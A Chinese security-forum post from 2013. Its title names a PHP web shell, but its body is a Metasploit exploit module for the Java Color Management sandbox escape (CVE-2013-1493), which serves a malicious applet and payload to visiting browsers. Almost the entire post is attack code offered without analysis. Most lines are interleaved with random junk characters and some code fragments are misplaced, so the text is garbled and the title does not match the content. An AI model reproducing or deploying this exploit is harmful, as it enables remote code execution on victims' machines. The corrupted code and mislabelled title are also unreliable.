找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2211|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##
- D' H  }0 t) }# g! G& t6 {4 x1 X! b8 V1 d
# This file is part of the Metasploit Framework and may be subject to: F$ H( W7 \6 V- v
# redistribution and commercial restrictions. Please see the Metasploit
) Q# O) z) q  N9 ^" ?- b) O4 v# web site for more information on licensing and terms of use.3 N& ^, O! j& z
# http://metasploit.com/. K- {& f# x2 s+ j2 U# L
##
- X% y- W/ E0 \: B# n" ]4 \4 n4 ]require ‘msf/core’; q. c/ Z' l' v4 E
require ‘rex’" h6 k- S7 k& ^$ t/ H/ f
class Metasploit3 < Msf::Exploit::Remote' w" i! L. W% `* C; `, g" w* V# v
Rank = NormalRanking
' b- a9 U5 L* Hinclude Msf::Exploit::Remote::HttpServer::HTML
& i7 i# \2 J' g& H; Kinclude Msf::Exploit::EXE0 h% o5 O4 G* R; g9 e. {5 @& r
include Msf::Exploit::Remote::BrowserAutopwn
' \3 [* S9 i( t6 C8 b+ t9 r" Bautopwn_info({ :javascript => false })+ ?7 s: s4 \5 S2 I, s
def initialize( info = {} )
4 V% d& k' r! z0 jsuper( update_info( info,- w# t9 }& j3 ~- j, h0 |) e
‘Name’ => ‘Java CMM Remote Code Execution’,
/ L; j" D: {# Q+ G& z% P9 x‘Description’ => %q{
& e7 |9 U6 H, G0 ]This module abuses the Color Management classes from a Java Applet to run
/ C4 L5 w4 Z6 w% Carbitrary Java code outside of the sandbox as exploited in the wild in February
/ c6 A9 s" M* j; y5 O, nand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41; V: E: h3 r; D- M
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP12 D' |% U* O3 I0 F9 [7 @
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java% y' W+ m, A- l. |- I
warning in order to run the malicious applet.0 v" W5 j; Z+ @" l9 S2 p
},  }/ D# _; r7 Z) v# ^
‘License’ => MSF_LICENSE,
7 k% @1 G" _3 C6 ~, P" N" a5 t. A‘Author’ =>
8 z9 F9 X0 r* T; p1 S$ V! r7 ['Unknown', # Vulnerability discovery and Exploit5 @+ J& C" [: ^
'juan vazquez' # Metasploit module (just ported the published exploit)0 J7 ]8 a4 i) t* K% u
],
. B5 q3 n* X9 j. o‘References’ =>7 L4 [6 c6 w: }, b
[/ f& k$ f0 o$ A8 O  t
[ 'CVE', '2013-1493' ],
( F' u! q+ l/ \  q7 H[ 'OSVDB', '90737' ],$ }, n; I, _" H3 ]
[ 'BID', '58238' ],
6 v7 ]$ x2 F# V) A4 z$ D  o- t5 l[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],# H. U) d' H. b3 {7 z# a( b
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
% @) f' \7 N$ W5 c- i0 ^[ 'URL', 'http://pastie.org/pastes/6581034' ]; E4 u7 u0 ?1 J$ [( |. z$ Q  X
],
4 _6 ]0 U8 C$ O0 Z* p6 q) Z‘Platform’ => [ 'win', 'java' ],
8 v; N- @% d' A; ]‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },6 K6 d4 G; u; u0 |6 b' M
‘Targets’ =>% V2 X- T0 ]  N* s4 P+ ]7 I
[
% X! X: y1 B9 T[ 'Generic (Java Payload)'," p. s$ s+ f& l6 A  L# m
{
: s) k( O0 u# `* h' ]# g, }8 x'Platform' => 'java',
! V  c, u1 G6 z% p  i( P'Arch' => ARCH_JAVA
7 E0 y8 R( {2 H. O$ o}, o+ v; N( }4 k& E; V# g1 B) L# b
],9 o  C9 e9 C7 X1 ~7 ?
[ 'Windows x86 (Native Payload)',7 I5 T# X* q0 x( I& S
{
3 E. w% [( l# Y: j) q5 i8 ]0 S& o'Platform' => 'win',
- a# {+ B8 {/ E" v. M1 ~3 r( ['Arch' => ARCH_X86
4 c( J0 ~& l, k) ~}
+ ?8 b4 ?3 [' o: A+ p  E]% W: Y0 }( _5 b1 |6 J
],
1 o: r9 u3 T  G$ s% R5 l; K* V+ Z‘‘DisclosureDate’ => ‘Mar 01 2013′
% G: V, p8 x3 |6 m3 U))5 P& }9 ^- J# y: q- O# J5 X
end) u  t: Y% ?( m0 Q9 T
def setup; `0 n  s+ L% A3 m$ u9 Q7 l3 m
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
* A2 g4 v% U. n  @+ U@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }. ~4 b' m# M1 Z% L# R; {
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
; }/ W3 z& z+ p( r  [@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }( h: b; C: e  {: Y7 \
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
( ~$ a& X8 ~; [8 _4 ^$ O& E@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }8 {) ~9 ^: Z, [% P
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)- H  l1 c, l- s, S
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }, a, x5 {8 g5 p, Q1 ?9 S
@init_class_name = rand_text_alpha(“Init”.length)
' Y) e8 t/ Z9 z! F- y7 E5 C@init_class.gsub!(“Init”, @init_class_name)7 z/ }6 l  u' \* V
super
5 y( v/ f' [' U9 _0 F3 a6 Mend
( `" K" g: D6 ?) hdef on_request_uri(cli, request)
+ T: d# }9 }8 D0 a$ K* r  ~1 qprint_status(“handling request for #{request.uri}”)+ C! u  h' d' l( g1 A/ x$ E
case request.uri# A7 u! ~* v9 Y( q+ A
when /\.jar$/i0 @  G$ F& |* L5 B, |: V
jar = payload.encoded_jar
5 A2 y+ L8 F- ^& z3 `) i3 mjar.add_file(“#{@init_class_name}.class”, @init_class)' {% a# z5 ^, ~+ g0 ^
jar.add_file(“Leak.class”, @leak_class): F5 Y& T2 Z; o$ u
jar.add_file(“MyBufferedImage.class”, @buffered_image_class): x3 W/ J+ l! c' U6 u5 ]
jar.add_file(“MyColorSpace.class”, @color_space_class)
6 l, @& r3 X* a+ n; k, y* cDefaultTarget’ => 1,0 Y  `1 B7 Q) q% d( q' i
metasploit_str = rand_text_alpha(“metasploit”.length)" p2 Z2 x# u8 j, F1 {/ O
payload_str = rand_text_alpha(“payload”.length)) v1 P3 a5 [/ h% V+ O7 v
jar.entries.each { |entry|
: Z( O2 L  T5 J0 L4 j" \/ zentry.name.gsub!(“metasploit”, metasploit_str)  k3 u) j. ~# v1 T3 o4 Y: T
entry.name.gsub!(“Payload”, payload_str)
* i, O; r1 H7 C5 l! W. I2 Z/ Dentry.data = entry.data.gsub(“metasploit”, metasploit_str)  ^% q* ^! `. y' `3 y& O, r5 L
entry.data = entry.data.gsub(“Payload”, payload_str)
: u" q2 i. x4 A* t1 v) g}
, V9 Q/ G1 x% tjar.build_manifest
" i* S; _) f  m8 I9 f9 x: a. p) lsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
5 f; J. k- Q% Cwhen /\/$/
* T% B1 w9 g. M  w! Bpayload = regenerate_payload(cli)
2 F8 K+ D* K/ N, ?5 `& C3 M+ vif not payload8 q4 v# Y) C2 l9 l' V3 Y. V' V
print_error(“Failed to generate the payload.”)
& N' d* K# u: v$ ssend_not_found(cli)& s: N- U# {' @  C# \5 O4 q
return
$ O4 m& o' M' }! n9 o2 U( yend
4 l) @. s: u! y. y( ~* B8 tsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })- c# Z9 Y; l3 p7 ^* Q7 E
else2 G; y- C4 B: Y, u" t
send_redirect(cli, get_resource() + ‘/’, ”)6 b2 d7 u! B7 ^) W" {5 j
end  |$ j" y4 O" ?' H+ e
end
5 e9 U+ p; @& ~4 b: p# Tdef generate_html
$ F) K  w/ a( \9 \0 g  A2 Whtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|" ?" p% I$ Y2 A
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
# v+ x  S* G1 r( O7 J& J8 Qhtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|6 m% y' B) \& s8 u: o! t
html += %Q|</applet></body></html>|9 g* G+ v0 h; T3 @6 {- k$ x
return html- C* K: o  ^0 h9 |  Q
end
* k  V6 ^# N$ r% j+ G3 ?! Nend
+ J% y. I' j! f" D$ y- K! `end% z' Z5 r# W7 _8 R* p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表